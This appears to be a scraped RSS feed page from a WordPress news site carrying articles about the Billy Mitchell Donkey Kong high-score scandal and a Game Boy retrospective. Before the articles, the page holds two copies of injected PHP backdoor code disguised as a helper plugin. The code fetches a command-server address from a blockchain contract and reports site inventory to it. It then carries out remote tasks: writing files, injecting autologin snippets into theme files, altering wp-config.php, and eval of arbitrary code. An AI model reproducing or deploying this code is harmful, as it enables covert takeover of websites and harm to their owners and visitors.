// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); ‘Donkey – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Thu, 09 Aug 2018 01:02:06 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png ‘Donkey – Brief News https://briefnews.eu 32 32 The RetroBeat: Donkey Kong ’94 for the Game Boy is Nintendo’s forgotten masterpiece https://briefnews.eu/the-retrobeat-donkey-kong-94-for-the-game-boy-is-nintendos-forgotten-masterpiece/ https://briefnews.eu/the-retrobeat-donkey-kong-94-for-the-game-boy-is-nintendos-forgotten-masterpiece/#respond Thu, 09 Aug 2018 01:02:06 +0000 http://briefnews.eu/the-retrobeat-donkey-kong-94-for-the-game-boy-is-nintendos-forgotten-masterpiece/ Donkey Kong '94.

Mario has starred in more classics than any other game character, but one of his best games doesn’t get the attention it deserves. In 1994, Nintendo released the Super Game Boy, a cartridge for the Super Nintendo that let you play Game Boy games on your TV. It would even add colors to some games. To show off this functionality, Nintendo creat…Read More

]]> https://briefnews.eu/the-retrobeat-donkey-kong-94-for-the-game-boy-is-nintendos-forgotten-masterpiece/feed/ 0 Donkey Kong scorekeeper: Billy Mitchell’s defense ‘doesn’t make sense’ https://briefnews.eu/donkey-kong-scorekeeper-billy-mitchells-defense-doesnt-make-sense/ https://briefnews.eu/donkey-kong-scorekeeper-billy-mitchells-defense-doesnt-make-sense/#respond Fri, 09 Feb 2018 01:19:17 +0000 http://briefnews.eu/donkey-kong-scorekeeper-billy-mitchells-defense-doesnt-make-sense/

Embattled competitive gamer Billy Mitchell has broken his silence after a Donkey Kong fansite accused him of misrepresenting his high-score performances in the arcade classic. In an interview with livestreaming podcast show East Side Dave (which has a subscription paywall), Mitchell admitted that the videos in score-verifier Jeremy Young’s analysis are indeed of MAME gameplay — but he then tried to play up doubts about the authenticity of those tapes.

“And the film footage that he has, that Jeremy has, shows MAME play,” Mitchell told East Side Dave. “Now, I contend, that if he gets the original tape, or he gets the original room shot, he will see that what I say is true. I’m not disputing what he says. What I’m disputing is the fact that I want him to have the original tape.”

I asked Young about Mitchell’s interview, and he explained why it doesn’t change anything.

“Claiming the video footage in the evidence is not real does not make sense to me,” Young told GamesBeat. “In regards to video sources and their potential fabrication, I would label that so unlikely as to be impossible. The amount of foresight, patience, and technical knowledge required would be staggering.”

Young explained that the only person who could have feasibly switched the direct-feed footage of Mitchell’s Donkey Kong tapes is Dwayne Richard, an active world-record holder in several games on Twin Galaxies.

“Dwayne claims [the Mitchell tapes] were given to him directly by [disgraced competitive gamer Todd Rogers], by request of Billy Mitchell,” Young explained in an email he provided to multiple outlets. “Dwayne uploaded a copy of [the 1.047 million run] to YouTube a couple of years ago …. All of this uploaded footage directly matches segments shown in both the theatrical release of King of Kong and a screener version that has circulated over the years.”

Richard uploaded the 1.05 million run to YouTube as well. The last 9.5 minutes of this run are also on the YouTube channel “Settle It On the Screen,” which was once the official Twin Galaxies channel. Former Twin Galaxies referee Michael Sroka manages Settle It On The Screen now, but he says he was not at the time and doesn’t know who uploaded it.

As for the 1.062 million run, two sources exist. Sroka has one, and an audience member named Dan Phillips shot some footage on his phone. Both show the same MAME screen-draw artifact that Young used to prove Mitchell didn’t play on original arcade hardware. MAME renders objects in bulk (all ladders at one time, for example), while the original hardware draws objects in from left-to-right like a sliding door.

So, what about Mitchell’s ‘real’ tapes?

As Young alluded to, it would require something of a vast conspiracy to change the footage in the available sources to something different than what is in the supposed real tape at Twin Galaxies. Rogers, who recently lost his Dragster record after technical analysis revealed his world-record time is impossible, gave Richard the tape, and Rogers is Mitchell’s in-person witness for his 1.047 million score. Mitchell’s accusation that the direct-feed videos are not legitimate would suggest that Richard somehow swapped them out.

But let’s have Young explain why that is improbable:

By my reckoning, Dwayne would have to:

  1. Know, for over a decade, this bug existed in MAME, and not tell anyone
  2. Know every potential independent source that would, in the future, publish clips of Billy’s gameplay, know exactly what that footage would contain, and whether that footage would contain the MAME signature
  3. Either: A) know that the press conference video is also MAME, or B) organize a conspiracy to swap the tapes being shown that day.
  4. In the case of 3A…why wait this long?
  5. In the case of 3B…he would have had only a few days to craft a full performance of TWO games (DK and DKJR) faithful enough to fool Billy himself AND convince someone to swap the tapes at the event.
  6. Apart from 3A, he would need to craft at least 2 full-length (~2.5 hours) games to match the independent footage. These would have to match Billy’s original gameplay, pixel-for-pixel, frame-for-frame.
  7. Wait, for years, for the right amount of general skepticism and technical knowledge to coalesce.

I’ve reached out to Mitchell once again for a response to these accusations, and I’ll update this post if he provides any insights. For now, Mitchell’s claims to the status of “first person to reach 1 million points in Donkey Kong) are starting to look rocky at best.

]]> https://briefnews.eu/donkey-kong-scorekeeper-billy-mitchells-defense-doesnt-make-sense/feed/ 0 As Billy Mitchell comes under scrutiny, current Donkey Kong champ sets new record https://briefnews.eu/as-billy-mitchell-comes-under-scrutiny-current-donkey-kong-champ-sets-new-record/ https://briefnews.eu/as-billy-mitchell-comes-under-scrutiny-current-donkey-kong-champ-sets-new-record/#respond Sun, 04 Feb 2018 02:57:15 +0000 http://briefnews.eu/as-billy-mitchell-comes-under-scrutiny-current-donkey-kong-champ-sets-new-record/

Yesterday, I reported that competitive gamer Billy Mitchell may have misled record keepers with some of his best Donkey Kong scores. But while we were getting details of that scandal, the current Donkey Kong world-record holder Robbie Lakeman was setting a new high score. Lakeman beat his previous best of 1,230,100 points with 1,247,700. The record-keeping officials at Donkey Kong Forum and Twin Galaxies have verified the score.

The 3 hour and 49 minute playthrough had Lakeman maximizing his score through skillful jumps over obstacles and through some friendly random-number generation. You can watch the full playthrough right here:

Lakeman may still have better scores yet to come, and he could break the 1.25 million barrier next.

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]]> https://briefnews.eu/as-billy-mitchell-comes-under-scrutiny-current-donkey-kong-champ-sets-new-record/feed/ 0 Donkey Kong scoreboard strips Billy Mitchell’s high score claims https://briefnews.eu/donkey-kong-scoreboard-strips-billy-mitchells-high-score-claims/ https://briefnews.eu/donkey-kong-scoreboard-strips-billy-mitchells-high-score-claims/#respond Sat, 03 Feb 2018 19:44:30 +0000 http://briefnews.eu/donkey-kong-scoreboard-strips-billy-mitchells-high-score-claims/

Enlarge / Mitchell rides an oversized Donkey Kong machine in the recent Citrus Bowl parade. (credit: Billy Mitchell / Twitter)

Billy Mitchell has been a polarizing figure in the tight-knit world of classic video game high scores since well before he appeared as Steve Wiebe’s antagonist in the 2007 documentary The King of Kong: A Fistful of Quarters. But the Mitchell doubters got some strong new support on Friday as the Donkey Kong Forum—a popular clearinghouse for tracking performance in the game—removed Mitchell’s best claimed scores from its high-score list.

In a detailed post on the Donkey Kong Forum justifying the decision, moderator and scoreboard maintainer Jeremy “Xelnia” Young cites video evidence to suggest that three 1,000,000+ point scores presented by Mitchell were actually set using emulation rather than actual arcade hardware, as Mitchell claimed.

Footage captured from MAME version 0.115 shows the stage being built in whole chunks.

Footage captured from MAME version 0.115 shows the stage being built in whole chunks.

Direct-feed footage captured by Chris Gleed shows how an actual <em>Donkey Kong</em> cabinet renders a new stage (click for animation).

Direct-feed footage captured by Chris Gleed shows how an actual Donkey Kong cabinet renders a new stage (click for animation).

Footage from Billy Mitchell's 1.05 million point claim seems to resemble the MAME footage (click for animation).

Footage from Billy Mitchell’s 1.05 million point claim seems to resemble the MAME footage (click for animation).

While a real Donkey Kong cabinet generates and displays game scenes in a “sliding door” effect, sliding from left to right, old versions of MAME instead build entire chunks of a level at once and then display them as a complete screen buffer (with slight differences as MAME has been updated over the years). The difference is noticeable in slow-motion, frame-by-frame analysis of the transitions between Donkey Kong levels. In the analysis, a new stage is first built in pieces after the “How High Can You Get?” interludes.

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]]> https://briefnews.eu/donkey-kong-scoreboard-strips-billy-mitchells-high-score-claims/feed/ 0 ‘King of Kong’ star Billy Mitchell lied, claims Donkey Kong world-record analysis https://briefnews.eu/king-of-kong-star-billy-mitchell-lied-claims-donkey-kong-world-record-analysis/ https://briefnews.eu/king-of-kong-star-billy-mitchell-lied-claims-donkey-kong-world-record-analysis/#respond Sat, 03 Feb 2018 05:03:25 +0000 http://briefnews.eu/king-of-kong-star-billy-mitchell-lied-claims-donkey-kong-world-record-analysis/

A Donkey Kong fansite has removed three high scores from arcade legend Billy Mitchell after an analysis revealed he likely misled the community about playing on real arcade hardware and that he instead submitted emulator gameplay. On Donkey Kong Forum, Mitchell previously held the No. 20 score with 1.062 million points, right behind his long-time rival Steve Wiebe’s 1.064 million. The professional gamer and hot-sauce magnate now has the No. 47 score with his 933,900 result he played in public on an arcade machine in 2004.

Mitchell and Wiebe’s battles over the Donkey Kong high score were the subject of the popular documentary film King of Kong: A Fistful of the Quarters. That movie painted Mitchell as a somewhat villainous character standing in the way of Wiebe’s heroic everyman. Now, that portrayal is starting to seem even more accurate, as it could include dishonesty and even cheating.

“I understand this will not be a popular decision,” Donkey Kong Forum high-score judge Jeremy “Xelnia” Young wrote in his post. “It is not my wish to fracture a community or affect anyone’s personal life. But ultimately, I have to do what I think is right.”

